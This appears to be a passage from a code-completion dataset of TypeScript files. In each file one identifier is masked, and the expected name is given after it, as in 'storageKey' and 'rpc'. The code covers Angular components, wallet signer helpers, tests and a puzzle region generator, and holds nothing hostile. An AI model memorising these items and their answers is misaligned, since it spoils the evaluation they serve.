import { ASK_PRODUCT_LOG_MARKER } from '@cx-spartacus/cxai-ask-product/root';

@Component({
  selector: 'lib-cxai-ask-product-chat',
  templateUrl: './cxai-ask-product-chat.component.html',
  styleUrls: [
    //this references styles from assistant lib - we want to have consistent chat window look but we can't extract common library yet
    '../../../../../../../cxai-assistant-angular-lib/projects/cxai-assistant/root/cms-components/_common-variables.scss',
    '../../../../../../../cxai-assistant-angular-lib/projects/cxai-assistant/src/lib/cms-components/assistant-chat-window/cxai-chat.scss',
    './cxai-ask-product-chat.component.scss',
  ],
  changeDetection: ChangeDetectionStrategy.OnPush,
  standalone: false,
})
export class CxaiAskProductChatComponent implements OnInit {
  private fb = inject(FormBuilder);
  private currentProductService = inject(CurrentProductService);
  private cxaiAskProductService = inject(CxaiAskProductService);
  private changeDetectorRef = inject(ChangeDetectorRef);
  private renderer = inject(Renderer2);
  protected loggerService = inject(LoggerService);

  @Optional() private productListItemContext: ProductListItemContext;

  icon = ICON_TYPE;
  @ViewChild('chatInputField') chatInputField: ElementRef | undefined;
  @ViewChild('chat') chatNode: ElementRef | undefined;

  busy = false;
  messages: AskProductChatMessage[] = [];
  productCode$: Observable<string>;
  //to keep scroll-to-bottom on new message
  lastMessageHeight = 0;

  form: FormGroup = this.fb.group({
    message: ['', Validators.required],
  });

  ngOnInit() {
    if (!this.cxaiAskProductService.isConfigured()) {
      this.loggerService.warn(
        ASK_PRODUCT_LOG_MARKER,
        'Ask product is not configured (missing url)'
      );
      this.productCode$ = undefined;
      return;
    }

    const product$ =
      this.productListItemContext?.product$ ||
      this.currentProductService.getProduct();
    this.productCode$ = product$.pipe(
      filter((p) => !!p?.code),
      distinctUntilChanged(),
      map((p) => p.code),
      tap((productCode) => this.loadConversation(productCode))
    );

    //TODO: load messages from local storage
  }

  ngAfterViewChecked(): void {
    if (
      this.chatNode?.nativeElement &&
      this.lastMessageHeight != this.chatNode.nativeElement.scrollHeight
    ) {
      this.lastMessageHeight = this.chatNode.nativeElement.scrollHeight;
      this.chatNode.nativeElement.scrollTop = this.lastMessageHeight;
    }
  }

  sendMessage(productCode: string) {
    const message = this.form.value.message?.trim();
    if (!message) {
      this.renderer
        .selectRootElement(this.chatInputField.nativeElement)
        .select();
      return;
    }

    const context = this.messages.slice(-10);
    this.messages.push({
      message,
      source: 'user',
      timestamp: Date.now(),
    });
    this.form.reset();
    this.busy = true;

    this.cxaiAskProductService
      .sendQuestion(productCode, message, context)
      .pipe(
        take(1),
        finalize(() => {
          this.busy = false;
          this.changeDetectorRef.detectChanges();
        })
      )
      .subscribe((response) => {
        let documentIdSet = new Set();
        let sources: AskProductSource[] = response.answer
          ? response.sources || []
          : [];
        sources = sources
          .map((s) => {
            return {
              documentId: s.documentId || s.document_id,
              name: s.name || s.documentId,
              downloadUrl: s.downloadUrl || s.download_url,
            };
          })
          .filter((s) => {
            return (
              !!s.downloadUrl &&
              !s.name?.endsWith('_generated') &&
              !documentIdSet.has(s.documentId) &&
              documentIdSet.add(s.documentId)
            );
          });

        this.messages.push({
          message: response.answer,
          source: 'assistant',
          sources,
          status: response.error ? 'error' : '',
          timestamp: Date.now(),
        });
        this.saveConversation(productCode);
        this.changeDetectorRef.markForCheck();
      });
  }

  loadConversation(productCode: string) {
    const conversation = sessionStorage.getItem(
      CONVERSATION_STORAGE_KEY + productCode
    );
    if (conversation && conversation.length > 2) {
      const storedConversation: AskProductChatMessage[] =
        JSON.parse(conversation);
      const interval24h = 1000 * 60 * 60 * 24;
      const oldestTimestamp = Date.now() - interval24h;

      let filteredConversation = storedConversation.filter((m) => {
        return m.timestamp > oldestTimestamp;
      });

      if (filteredConversation.length % 2 == 1) {
        //no orphaned bot messages - remove 1st element
        filteredConversation = filteredConversation.slice(1);
      }

      this.messages = filteredConversation;
      if (this.messages.length != storedConversation.length) {
        this.saveConversation(productCode);
      }
    } else {
      this.messages = [];
    }
  }

  saveConversation(productCode: string) {
    //last 10 messages
    const lastMessages = this.messages.slice(-10);
    const  [MASK]  = CONVERSATION_STORAGE_KEY + productCode;
    if (lastMessages.length) {
      sessionStorage.setItem( [MASK] , JSON.stringify(lastMessages));
    } else {
      sessionStorage.removeItem( [MASK] );
    }
  }

  clearConversation(productCode: string) {
    this.messages = [];
    this.renderer.selectRootElement(this.chatInputField.nativeElement).select();
    this.saveConversation(productCode);
  }

  onKeyPress(e: KeyboardEvent, productCode: string) {
    if (e.key === 'Enter' && !e.shiftKey) {
      this.sendMessage(productCode);
      e.preventDefault();
    }
  }

  trackByIndex(index: number) {
    return index;
  }
}

const CONVERSATION_STORAGE_KEY = 'cxai-ask-product-conversation';
",storageKey
898,"import { AfterViewInit, Component, OnInit } from '@angular/core';
import { DynamicDialogConfig, DynamicDialogRef } from 'primeng/dynamicdialog';
// import Math from '$GLOBAL$';
// import setInterval from '$GLOBAL$';
// import setTimeout from '$GLOBAL$';
// import SpeechSynthesisUtterance from '$GLOBAL$';
// import SpeechSynthesisUtterance from '$GLOBAL$';
// import clearInterval from '$GLOBAL$';
// import Number from '$GLOBAL$';

@Component({
  selector   : 'app-generate-random-number',
  templateUrl: './generate-random-number.component.html',
  styleUrls  : ['./generate-random-number.component.scss']
})
export class GenerateRandomNumberComponent implements OnInit, AfterViewInit {

  ngAfterViewInit(): void {
    let loadingVoices = setInterval(() => {
      console.log('loading voices...');
      // if (windowVoices.length > 1) {
      if (window.speechSynthesis.getVoices()) {
        Object.assign(this.voicesList, window.speechSynthesis.getVoices());
        // this.voicesList = windowVoices;
        clearInterval(loadingVoices);
      }
    }, 100);

    // setTimeout(() => {
    //   console.log(this.voicesList);
    //   let langIndex: number = 0;
    //   this.voicesList.forEach((voice: any) => {
    //     if (voice.lang.indexOf('IN') >= 0) {
    //       this.IndianLanguages.push({
    //         lang        : voice.lang,
    //         name        : voice.name,
    //         localService: voice.localService,
    //         index       : langIndex
    //       });
    //     }
    //     langIndex++;
    //   });
    //   this.loaded = true;
    // }, 2000);
    this.generateNumber();
  }

  ngOnInit(): void {
  }


  housieNumber: number                 = 0;
  numbers: any[]                       = [];
  housieNumbersList: number[]          = [];
  voicesList: any                      = [];
  loaded: boolean                      = false;
  markedNumbers: number[]              = [];
  clickCount: number                   = 0;
  generateNumberButtonClicked: boolean = false;

  // IndianLanguages: any                 = [];

  constructor(public ref: DynamicDialogRef, public config: DynamicDialogConfig) {
    if (config.data) {
      this.housieNumbersList           = config.data.housieNumbersList;
      this.markedNumbers               = config.data.markedNumbers;
      this.loaded                      = config.data.loaded;
      this.generateNumberButtonClicked = config.data.generateNumberButtonClicked;
    }
  }

  // IndianLanguages: any                 = [];
  // selectedLanguageIndex: number        = 0;

  generateNumber() {
    this.loaded               = false;
    const randomIndex: number = Math.floor(Math.random() * this.housieNumbersList.length);

    let displayRandomNumbers = setInterval(() => {
      this.housieNumber = Math.floor(Math.random() * 90) + 1;
    }, 50);

    setTimeout(() => {

      // initializing Speech Synthesis Utterance

      let  [MASK] : SpeechSynthesisUtterance = new SpeechSynthesisUtterance();

      this.housieNumber = this.housieNumbersList[randomIndex];
      this.housieNumbersList.splice(randomIndex, 1);

      clearInterval(displayRandomNumbers);
      if (this.housieNumbersList.length === 0) {
        this.loaded = false;
      }
      this.clickCount++;
      let announcementTextEnglish: string = '';
      const splitNumbers: number[]        = this.housieNumber.toString().split('').map(Number);
      this.markedNumbers.push(this.housieNumber);
      console.log(splitNumbers);
      if (splitNumbers.length !== 2) {
        announcementTextEnglish += ' single digit ';
      } else {
        splitNumbers.forEach((num: number) => {
          announcementTextEnglish += ` ${num} `;
        });
      }
      announcementTextEnglish += `, ${this.housieNumber}`;
       [MASK] .text  = announcementTextEnglish;
       [MASK] .voice = this.voicesList[92];
      window.speechSynthesis.speak( [MASK] );

      let announceNumberInHindi: SpeechSynthesisUtterance = new SpeechSynthesisUtterance();
      let announcementTextHindi                           = '';
      if (splitNumbers.length !== 2) {
        announcementTextHindi += ' sirf';
      } else {
        splitNumbers.forEach((num: number) => {
          announcementTextHindi += ` ${num} `;
        });
      }
      announcementTextHindi += `, ${this.housieNumber}`;


      announceNumberInHindi.voice = this.voicesList[157];
      announceNumberInHindi.text  = announcementTextHindi;
      window.speechSynthesis.speak(announceNumberInHindi);

    }, 500);

    setTimeout(() => {
      this.loaded                      = true;
      this.generateNumberButtonClicked = false;
      this.ref.close({
        housieNumber               : this.housieNumber,
        housieNumbersList          : this.housieNumbersList,
        markedNumbers              : this.markedNumbers,
        loaded                     : this.loaded,
        generateNumberButtonClicked: this.generateNumberButtonClicked
      });
    }, 6500);
  }

}
",announceNumberInEnglish
899,"import {SigningStargateClient} from ""@cosmjs/stargate"";

export async function getKeplrAccountKey(chainId:string){
  try{
    const {keplr}:any = window;
    const result = await keplr.getKey(chainId);
    return result;
  }catch (err){
    // console.log(err);
    return Promise.resolve({});
  }
  return Promise.resolve({});
}

export async function getKeplrChainAccounts(chainId:string){
  try{
    const {keplr,getOfflineSigner}:any = window;
    await keplr.enable(chainId);
    const offlineSigner:any = getOfflineSigner?.(chainId);
    if(offlineSigner){
      const result = await offlineSigner?.getAccounts();
      return result
    }
  }catch (err){
    // console.log(err)
    return Promise.resolve(null);
  }
  return Promise.resolve(null);
}

export async function getKeplrSignClient(chainId:string,  [MASK] :string){
  const {keplr,getOfflineSigner}:any = window;
  await keplr.enable(chainId);
  const offlineSigner = getOfflineSigner?.(chainId);
  if (offlineSigner) {
    try{
      return await SigningStargateClient.connectWithSigner( [MASK] , offlineSigner);
    }
    catch (err:any){
      throw new Error(err.toString())
    }
  }
  throw new Error('Keplr OfflineSigner is unknow!');
}",rpc
900,"import { Component, OnInit } from '@angular/core';

@Component({
  selector: 'app-drag',
  templateUrl: './drag.component.html',
  styleUrls: ['./drag.component.less']
})
export class DragComponent implements OnInit {

  items = [];
  active = -1;
  arr = [11, 12, 21, 22];

  get items1() {
    return this.items.filter((item, i) => !this.filt(i))
  }

  get items2() {
    return this.items.filter((item, i) => this.filt(i))
  }

  get cx() {
    return Math.min(...this.items2.map(i => i.x));
  }

  get cy() {
    return Math.min(...this.items2.map(i => i.y));
  }

  get cw() {
    return Math.max(...this.items2.map(i => i.x)) - this.cx + 32;
  }

  get ch() {
    return Math.max(...this.items2.map(i => i.y)) - this.cy + 32;
  }

  filt(i: number) {
    return i % 20 > 5 && i % 20 < 15 && i > 120 && i < 420
  }

  constructor() { }

  ngOnInit() {
    const h = 30;
    const v = 20;
    const  [MASK]  = 38;
    let c: number = 0;

    for (let i = 0; i < h; i++) {
      for (let j = 0; j < v; j++) {
        this.items.push({ x: i *  [MASK] , y: j *  [MASK] , c: c++ })
      }
    }

  }
}
",len
901,"import * as coords from './coords';

describe('basic coordinate helper functions', () => {
  const table = coords.tableToCells([
    ['a', 'b'],
    ['x', 'y'],
  ]);
  const column = coords.colToCells([undefined, true, false]);
  const row = coords.rowToCells([1, undefined, 3]);
  const colWithMerges = [
    { value: 'abc', coord: { row: 0, col: 0, height: 2, width: 2 } },
    { value: 'def', coord: { row: 2, col: 0, height: 2, width: 2 } },
  ];
  const rowWithMerges = [
    { value: '123', coord: { row: 0, col: 0, height: 2, width: 2 } },
    { value: '456', coord: { row: 0, col: 2, height: 2, width: 2 } },
  ];

  it('setSheet should work properly', () => {
    const cells = row.map(coords.setSheet('abc-xyz'));
    expect(cells.map((x) => x.coord.sheet)).toEqual([
      'abc-xyz',
      'abc-xyz',
      'abc-xyz',
    ]);
    expect(cells.map(coords.height)).toEqual([1, 1, 1]);
    expect(cells.map(coords.width)).toEqual([1, 1, 1]);
  });

  it('setSheet should work properly', () => {
    const coord = { row: 0, col: 0, height: 3, width: 4 };
    const cells = row.map(coords.setCoord(coord));
    expect(cells.map(coords.height)).toEqual([3, 3, 3]);
    expect(cells.map(coords.width)).toEqual([4, 4, 4]);
  });

  it('concatBelow should work properly', () => {
    const cells = coords.concatBelow(table, row);
    const outputTable = coords.cellsToTable(cells);
    expect(outputTable).toEqual([
      ['a', 'b', undefined],
      ['x', 'y', undefined],
      [1, undefined, 3],
    ]);
  });

  it('concatBelow should work properly with merged cells', () => {
    const cells = coords.concatBelow(colWithMerges, table);
    const outputTable = coords.cellsToTable(cells);
    expect(outputTable).toEqual([
      ['abc', undefined],
      [undefined, undefined],
      ['def', undefined],
      [undefined, undefined],
      ['a', 'b'],
      ['x', 'y'],
    ]);

    const concattedMerges = coords.concatBelow(colWithMerges, colWithMerges);
    const concattedMergesValues = coords.cellsToTable(concattedMerges);
    expect(concattedMergesValues).toEqual([
      ['abc'],
      [undefined],
      ['def'],
      [undefined],
      ['abc'],
      [undefined],
      ['def'],
    ]);
  });

  it('concatRight should work properly', () => {
    const cells = coords.concatRight(table, column);
    const outputTable = coords.cellsToTable(cells);
    expect(outputTable).toEqual([
      ['a', 'b', undefined],
      ['x', 'y', true],
      [undefined, undefined, false],
    ]);
  });

  it('concatRight should work properly with merged cells', () => {
    const cells = coords.concatRight(rowWithMerges, table);
    const outputTable = coords.cellsToTable(cells);
    expect(outputTable).toEqual([
      ['123', undefined, '456', undefined, 'a', 'b'],
      [undefined, undefined, undefined, undefined, 'x', 'y'],
    ]);
  });

  it('maxRow, maxCol lowestRow and lowestCol should work properly', () => {
    expect(coords.maxRow(table)).toBe(1);
    expect(coords.maxCol(table)).toBe(1);
    expect(coords.maxRow(column)).toBe(2);
    expect(coords.maxCol(column)).toBe(0);
    expect(coords.maxRow(row)).toBe(0);
    expect(coords.maxCol(row)).toBe(2);
    expect(coords.maxRow([])).toBe(-1);
    expect(coords.maxCol([])).toBe(-1);
    expect(coords.lowestRow([])).toBe(-1);
    expect(coords.rightmostCol([])).toBe(-1);
  });

  it('shift functions should work properly ', () => {
    const  [MASK]  = table.map((x) => coords.shiftUp(10)(x));
    expect(coords.maxRow( [MASK] )).toBe(-9);
    expect(coords.maxCol( [MASK] )).toBe(1);
    const shiftedLeft = table.map((x) => coords.shiftLeft(5)(x));
    expect(coords.maxRow(shiftedLeft)).toBe(1);
    expect(coords.maxCol(shiftedLeft)).toBe(-4);
  });

  it('pad functions should work properly ', () => {
    const paddedBelow = coords.padBelow(2, row);
    expect(coords.cellsToTable(paddedBelow)).toEqual([
      [1, undefined, 3],
      [undefined, undefined, undefined],
      [undefined, undefined, undefined],
    ]);
    const paddedBelowZero = coords.padBelow(0, row);
    expect(coords.cellsToTable(paddedBelowZero)).toEqual([[1, undefined, 3]]);
    const paddedBelowNeg = coords.padBelow(-1, column);
    expect(coords.cellsToTable(paddedBelowNeg)).toEqual([
      [undefined],
      [undefined],
      [true],
      [false],
    ]);
    const paddedAbove = coords.padAbove(2, column);
    expect(coords.cellsToTable(paddedAbove)).toEqual([
      [undefined],
      [undefined],
      [undefined],
      [true],
      [false],
    ]);

    const paddedRight = coords.padRight(2, table);
    expect(coords.cellsToTable(paddedRight)).toEqual([
      ['a', 'b', undefined, undefined],
      ['x', 'y', undefined, undefined],
    ]);
    const paddedRightZero = coords.padRight(0, table);
    expect(coords.cellsToTable(paddedRightZero)).toEqual([
      ['a', 'b'],
      ['x', 'y'],
    ]);
    const paddedRightNeg = coords.padRight(-3, table);
    expect(coords.cellsToTable(paddedRightNeg)).toEqual([
      [undefined, undefined, undefined, 'a', 'b'],
      [undefined, undefined, undefined, 'x', 'y'],
    ]);
    const paddedLeft = coords.padLeft(2, table);
    expect(coords.cellsToTable(paddedLeft)).toEqual([
      [undefined, undefined, 'a', 'b'],
      [undefined, undefined, 'x', 'y'],
    ]);
  });

  it('pad functions should work properly with merged cells', () => {
    expect(coords.cellsToTable(coords.padRight(2, colWithMerges))).toEqual([
      ['abc', undefined, undefined, undefined],
      [undefined, undefined, undefined, undefined],
      ['def', undefined, undefined, undefined],
    ]);
    expect(coords.cellsToTable(coords.padBelow(2, colWithMerges))).toEqual([
      ['abc'],
      [undefined],
      ['def'],
      [undefined],
      [undefined],
      [undefined],
    ]);
  });
});

describe('basic cell creation helper functions', () => {
  const values = ['a', 'b', 123, 789];
  const records = [
    { a: 1, b: 2 },
    { a: 3, b: 4 },
  ];
  const table = [
    ['x', 'y'],
    [true, false],
  ];

  it('rowToCells should work properly', () => {
    const cells = coords.rowToCells(values);
    expect(cells.map((x) => x.value)).toEqual(values);
    const rangeArray = [...Array(values.length).keys()];
    expect(cells.map((x) => x.coord.col)).toEqual(rangeArray);
    expect(cells.map((x) => x.coord.row)).toEqual(Array(values.length).fill(0));
  });

  it('colToCells should work properly', () => {
    const cells = coords.colToCells(values);
    expect(cells.map((x) => x.value)).toEqual(values);
    const rangeArray = [...Array(values.length).keys()];
    expect(cells.map((x) => x.coord.row)).toEqual(rangeArray);
    expect(cells.map((x) => x.coord.col)).toEqual(Array(values.length).fill(0));
  });

  it('recordToCells should work properly', () => {
    const cells = coords.recordsToCells(['a', 'b'], records);
    const firstRow = cells.filter((x) => x.coord.row == 0).map((x) => x.value);
    expect(firstRow).toEqual([1, 2]);
    const secondCol = cells.filter((x) => x.coord.col == 1).map((x) => x.value);
    expect(secondCol).toEqual([2, 4]);
  });

  it('tableToCells should work properly', () => {
    const cells = coords.tableToCells(table);
    const firstRow = cells.filter((x) => x.coord.row == 0).map((x) => x.value);
    expect(firstRow).toEqual(['x', 'y']);
    const secondCol = cells.filter((x) => x.coord.col == 1).map((x) => x.value);
    expect(secondCol).toEqual(['y', false]);
  });

  it('cellsToTable should work properly', () => {
    const cells = coords.tableToCells(table);
    expect(table).toEqual(coords.cellsToTable(cells));
  });
});
",shiftedUp
902,"#!/usr/bin/env deno run

// $ brew install typescript
// $ echo '{""compilerOptions"": {""noImplicitAny"": true}}' > tsconfig.json
// Deno:
// $ brew install deno
// Node:
// $ npm install -g ts-node
// $ npm install -g typescript

// $ ./envelopes.ts
// or
// $ tsc envelopes.ts --outFile envelopes.ts.js
// $ deno run ./envelopes.ts.js
// $ node ./envelopes.ts.js

const NUM_TRIALS = 10000;
const PRIOR_LOWER_MAX = 100;

// Runs a single trial where an envelope is chosen.  If the chosen envelope has
// a value < cutoff, the function will switch envelopes, otherwise it will keep
// the envelope it has chosen. Returns the value of the envelope it ultimately
// selects.
function singleTrial(pick: (value: number, other: number) => number): number {
  let lower_value = Math.random() * PRIOR_LOWER_MAX;
  let  [MASK]  = 2 * lower_value;
  return Math.random() < 0.5
    ? pick(lower_value,  [MASK] )
    : pick( [MASK] , lower_value);
}

// Runs many trials at a given cutoff to approximate the expected value.
function multiTrial(cutoff: number): number {
  function pick(value: number, other: number) {
    return value >= cutoff ? value : other;
  }
  let total = 0;
  for (let i = 0; i < NUM_TRIALS; i++) {
    total += singleTrial(pick);
  }
  return total / NUM_TRIALS;
}

for (let cutoff = 0; cutoff <= 2 * PRIOR_LOWER_MAX; cutoff++) {
  console.log(""cutoff="" + cutoff + "", expected_value="" + multiTrial(cutoff));
}
",higher_value
903,"class RegionCreator {

    public doLog: boolean = false;
    public maxOneTime: number = 1;
    public maxTime: number = 10;
    public maxTries: number = 100;
    public generateFaster: boolean = true; // if true, generates the first cell of each region in the spot starting from the smallest ids,
                                     // if false, generates the first cell in a random free spot
    public static modes: { [key: string]: (0 | 1 | 2) } = {
        DEFAULT: 0, // randomly choose the next cell of a region from all possible neighbors
        SPAGHETTI: 1, // minimize cell neighbors from the same regions
        BLOB: 2, // generate circle/clump-like regions
    }
    private _mode: (0 | 1 | 2) = RegionCreator.modes.DEFAULT;
    public set mode(value: (""default"" | ""spaghetti"" | ""blob"")) {
        switch (value) {
            case ""default"": this._mode = RegionCreator.modes.DEFAULT; break;
            case ""spaghetti"": this._mode = RegionCreator.modes.SPAGHETTI; break;
            case ""blob"": this._mode = RegionCreator.modes.BLOB; break;
        }
    }
    public get mode(): (""default"" | ""spaghetti"" | ""blob"") {
        switch (this._mode) {
            case 0: return ""default"";
            case 1: return ""spaghetti"";
            case 2: return ""blob"";
        }
    }

    private readonly masterWidth: number | null = null;
    private readonly givenPairs: [number, number][] | null = null;
    private readonly originalCellIds: number[]; // id encoding
    private cellCount: number;

    // each cell is numbered from 0 to size-1
    private baseNeighbors: number[][];  // at nth position are the nth cell's neighbors
    private baseFieldForCell: number[];  // at nth position is the field number the cell n is in
    private baseCellsForFields: number[][];  // at kth position are stored the cells' numbers that are in the kth field
    private _hasBoard: boolean = false;
    public get hasBoard(): boolean {
        return this._hasBoard;
    }
    private _board: number[] = [];
    public get board(): number[] {
        return RegionCreatorUtils.arrayDeepcopy(this._board);
    }
    private _regions: number[][] = [];
    public get regions(): number[][] {
        return RegionCreatorUtils.arrayDeepcopy(this._regions);
    }

    // region sizes and shapes
    private _forcedRegionSizes: number[] = [];  // region sizes that must be present
    public set forcedRegionSizes(sizes: number[] | null) {
        this._forcedRegionSizes = sizes === null ? [] : RegionCreatorUtils.arrayDeepcopy(sizes);
    }
    private baseRegionSizes: number[] = [1];
    private baseRegionCount: number = 1;

    // region conditions
    private strictness: number = 0;  // how much do the random sizes not deviate from width and/or height - 0(max) to 1(min deviation)
    private smallerRegionChance: number = 0.5;  // desired percentage of regionCreator smaller than the avgRegionSize, must be between 0 and 1
    private includeAvgRegionSize: boolean = true;  // if false, then avgRegionSize must not be equal to min and max RegionSize
    private avgRegionSize: number = 1;  // must be integer between 1 and (cellCount - sum of baseRegionSizes) (including) and must be between min and max RegionSize
    private minRegionSize: number = 1;  // must be integer between 1 and (cellCount - sum of baseRegionSizes) (including) and must be smaller or equal to maxRegionSize
    private maxRegionSize: number = 1;  // must be integer between 1 and (cellCount - sum of baseRegionSizes) (including) and must be bigger or equal to minRegionSize

    private then: number = new Date().getTime();
    private thenOne: number = new Date().getTime();
    // variables to help with the generation
    private regionSizes: number[] = [];
    private regionCount: number = 1;
    private freeNeighbors: number[][] = [[]];
    private regionForCell: number[] = [];
    private fieldForCell: number[] = [];
    private cellsForFields: number[][] = [[]];
    private neighboringCells: number[] = [];
    private neighboringFields: number[] = [];
    private neighborsToExclude: number[] = [];  // save neighbor cells which weren't possible for parenthetical cells bcs they aren't possible even for the children's

    // input - the numbers in neighborPairs must be given in the range of originalCellIds or cellCount, otherwise they won't be taken in account
    //         cellCount: number (starting from 0), masterWidth: number ||
    //         originalCellIds: number[], masterWidth: number ||
    //         originalCellIds: number[], neighborPairs: [number, number][]
    //         cellCount: number (starting from 0), neighborPairs: [number, number][]
    constructor(cellIdentifier: number[] | number, pairIdentifier: number | [number, number][]) {
        if (typeof cellIdentifier === ""number"") {
            if (cellIdentifier < 1) {
                throw ""OutOfRangeValue: cellIdentifier - cellCount can't be of a value smaller than 1"";
            }
            this.originalCellIds = RegionCreatorUtils.createArrayIncremented(0, cellIdentifier);
            this.cellCount = this.originalCellIds.length;
        } else {
            this.originalCellIds = RegionCreatorUtils.arrayDeepcopy(cellIdentifier).sort((a: number, b: number) => { return a - b; });
            this.cellCount = this.originalCellIds.length;
        }
        if (typeof pairIdentifier === ""number"") {
            if (pairIdentifier < 1) {
                throw ""OutOfRangeValue: pairIdentifier - masterWidth can't be of a value smaller than 1"";
            }
            this.masterWidth = pairIdentifier;
        } else {
            this.givenPairs = RegionCreatorUtils.arrayDeepcopy(pairIdentifier);
        }

        if (this.masterWidth !== null) {
            this.baseNeighbors = RegionCreator.getBaseNeighborsByWidth(this.originalCellIds, this.masterWidth);
        } else {
            this.baseNeighbors = RegionCreator.getBaseNeighborsByPairs(this.originalCellIds, this.givenPairs!);
        }

        [this.baseFieldForCell, this.baseCellsForFields] = RegionCreator.getBaseFields(this.baseNeighbors);
    }

    private static getBaseFields(baseNeighbors: number[][]): [number[], number[][]] {
        let cellCount = baseNeighbors.length;
        let leftCells = RegionCreatorUtils.createArrayIncremented(0, cellCount);

        let baseFieldForCell = RegionCreatorUtils.createArray1d(cellCount, -1);
        let baseCellsForFields = [];

        let nextField: number[];
        let cellsToCheck: number[];
        let cellId: number;
        let neighborId: number;
        while (leftCells.length > 0) {
            nextField = [];
            cellsToCheck = [leftCells.pop()!];
            while (cellsToCheck.length > 0) {
                cellId = cellsToCheck.pop()!;
                leftCells = RegionCreatorUtils.arrayRemoveOne(leftCells, cellId);
                nextField.push(cellId);
                for (let i = 0; i < baseNeighbors[cellId].length; i++) {
                    neighborId = baseNeighbors[cellId][i];
                    if (nextField.indexOf(neighborId) === -1 && cellsToCheck.indexOf(neighborId) === -1) {
                        cellsToCheck.push(neighborId);
                    }
                }
            }

            for (let i = 0; i < nextField.length; i++) {
                baseFieldForCell[nextField[i]] = baseCellsForFields.length;
            }
            baseCellsForFields.push(nextField);
        }

        return [baseFieldForCell, baseCellsForFields];
    }

    private static getBaseNeighborsByPairs(originalCellIds: number[], pairs: [number, number][]): number[][] {
        let neighbors: number[][] = [];
        for (let i = 0; i < originalCellIds.length; i++) {
            neighbors.push([]);
        }

        for (let i = 0; i < pairs.length; i++) {
            let newIdFirst = originalCellIds.indexOf(pairs[i][0]);
            let newIdSecond = originalCellIds.indexOf(pairs[i][1]);
            if (newIdFirst === -1 || newIdSecond === -1 || newIdFirst === newIdSecond) {
                continue;
            }

            if (neighbors[newIdFirst].indexOf(newIdSecond) === -1) {
                neighbors[newIdFirst].push(newIdSecond);
                neighbors[newIdSecond].push(newIdFirst);
            }
        }

        return neighbors;
    }

    private static getBaseNeighborsByWidth(originalCellIds: number[], masterWidth: number): number[][] {
        // originalCellIds must be sorted and there must be no duplicates
        let spacings = [1, masterWidth]; // right, down
        let neighbors: number[][] = [];
        for (let i = 0; i < originalCellIds.length; i++) {
            neighbors.push([]);
        }

        for (let i = 0; i < originalCellIds.length; i++) {
            let originalIndex = originalCellIds[i];
            for (let j = 0; j < 2; j++) { // for each half-direction
                if (j === 0 && (originalIndex % masterWidth === masterWidth - 1 || originalIndex % masterWidth === -1)) {
                    continue;
                }
                for (let k = i + 1; k <= i + spacings[j]; k++) {
                    if (k < 0 || k > originalCellIds.length) {
                        break;
                    }
                    if (originalCellIds[k] - originalCellIds[i] === spacings[j]) {
                        neighbors[i].push(k);
                        neighbors[k].push(i);
                        break;
                    }
                }
            }
        }
        return neighbors;
    }

    // REGION SIZES AND SHAPES

    public setRegionConditions(
        strictness: number|null = null,
        smallerRegionChance: number|null = null,
        includeAvgRegionSize: boolean|null = null,
        avgRegionSize: number|null = null,
        minRegionSize: number|null = null,
        maxRegionSize: number|null = null
    ): void {
        this.strictness = strictness === null ? 0 : strictness;
        this.smallerRegionChance = smallerRegionChance === null ? 0.2 : smallerRegionChance;
        this.includeAvgRegionSize = includeAvgRegionSize === null ? true : includeAvgRegionSize;
        this.avgRegionSize = avgRegionSize === null ? Math.floor((this.cellCount)**(1/2)) : avgRegionSize;
        this.minRegionSize = avgRegionSize === null ? 1 : avgRegionSize;  // if minRS is null, then if avgRS is set, it is the same
        this.minRegionSize = minRegionSize === null ? this.minRegionSize : minRegionSize;
        this.maxRegionSize = avgRegionSize === null ? this.cellCount : avgRegionSize;  // if maxRS is null, then if avgRS is set, it is the same
        this.maxRegionSize = maxRegionSize === null ? this.maxRegionSize : maxRegionSize;
        if (this.strictness < 0) {
            this.strictness = 0;
        } else if (this.strictness > 1) {
            this.strictness = 1;
        }
        if (this.minRegionSize < 1) {
            this.minRegionSize = 1;
        } else if (this.minRegionSize > this.cellCount) {
            this.minRegionSize = this.cellCount;
        }
        if (this.maxRegionSize < this.minRegionSize) {
            this.maxRegionSize = this.minRegionSize;
        } else if (this.maxRegionSize > this.cellCount) {
            this.maxRegionSize = this.cellCount;
        }
        if (this.avgRegionSize < this.minRegionSize || this.avgRegionSize > this.maxRegionSize) {
            this.avgRegionSize = Math.floor((this.minRegionSize + this.maxRegionSize)/2);
        }
        if ( !this.includeAvgRegionSize && (this.minRegionSize === this.avgRegionSize || this.maxRegionSize === this.avgRegionSize)) {
            throw ""UnexpectedValue: If you don't want to include avgRegionSize, you can't have the minRegionSize or the maxRegionSize equal its value."";
        }
        return;
    }

    private setBaseRegionSizes(): void {
        let tryAgain = true;
        while (tryAgain) {
            tryAgain = false;
            this.baseRegionSizes = RegionCreatorUtils.arrayDeepcopy(this._forcedRegionSizes);
            let sizeLeft = this.cellCount - RegionCreatorUtils.arrayGetSum(this.baseRegionSizes);
            while (sizeLeft > 0 && !tryAgain) {
                let isSmaller = Math.random() < this.smallerRegionChance;
                let leeway = isSmaller ? this.avgRegionSize - this.minRegionSize + 1 : this.maxRegionSize - this.avgRegionSize + 1;
                if (!this.includeAvgRegionSize) {
                    leeway -= 1;
                }
                let relativeDeviation = Math.random();
                if (this.strictness < 1) {
                    relativeDeviation **= 1 / (1 - this.strictness);
                } else {
                    relativeDeviation = 0;
                }
                let deviation = Math.floor(relativeDeviation * leeway);
                if (!this.includeAvgRegionSize) {
                    deviation += 1;
                }
                deviation = isSmaller ? -1 * deviation : deviation;
                let newSize = this.avgRegionSize + deviation;
                if (newSize > sizeLeft) {  // make a better way to deal with it, bcs then a region of not very possible sizes bcs of strictness
                    newSize = sizeLeft;
                    if (newSize < this.minRegionSize || (newSize === this.avgRegionSize && !this.includeAvgRegionSize)) {
                        tryAgain = true;
                    }
                } else if (sizeLeft - newSize < this.minRegionSize && sizeLeft < this.maxRegionSize) {
                    newSize = sizeLeft;
                }
                sizeLeft -= newSize;
                this.baseRegionSizes.push(newSize);
            }
        }
        return;
    }

    public createNewRegionSizes(): void {
        this.setBaseRegionSizes();
        if (this.generateFaster) {
            RegionCreatorUtils.arrayShuffle(this.baseRegionSizes);
        } else {
            this.baseRegionSizes = RegionCreatorUtils.arraySortNumbers(this.baseRegionSizes, true);
        }
        this.baseRegionCount = this.baseRegionSizes.length;
        if (this.doLog) {
            console.log(""RegionCreator - generated region sizes:"", this.baseRegionSizes);
        }
        return;
    }

    // CREATE NEW BOARD

    public createNewBoard(): void {
        this.then = new Date().getTime();
        let tries = 0;

